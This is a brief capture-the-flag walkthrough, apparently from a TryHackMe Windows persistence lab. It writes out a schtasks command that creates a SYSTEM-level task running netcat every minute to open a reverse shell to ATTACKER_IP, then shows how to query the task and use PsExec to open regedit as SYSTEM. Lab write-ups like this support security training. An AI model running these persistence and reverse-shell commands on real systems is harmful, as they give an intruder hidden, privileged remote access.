We will be using the built-in Windows task scheduler
Using command: schtasks
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEMNote: keep the name “THM-TaskBackdoor” intact, do not change it, else the flag won’t be retrieved
The script is scheduled to run with SYSTEM privileges
Check for the schedule
schtasks /query /tn thm-taskbackdoor
Keep the listener on for the port 4449 and you will get a shell in a minute

Run the command on the machine:
c:\tools\pstools\PsExec64.exe -s -i regedit

schtasks /query /tn thm-taskbackdoor

flag9.exe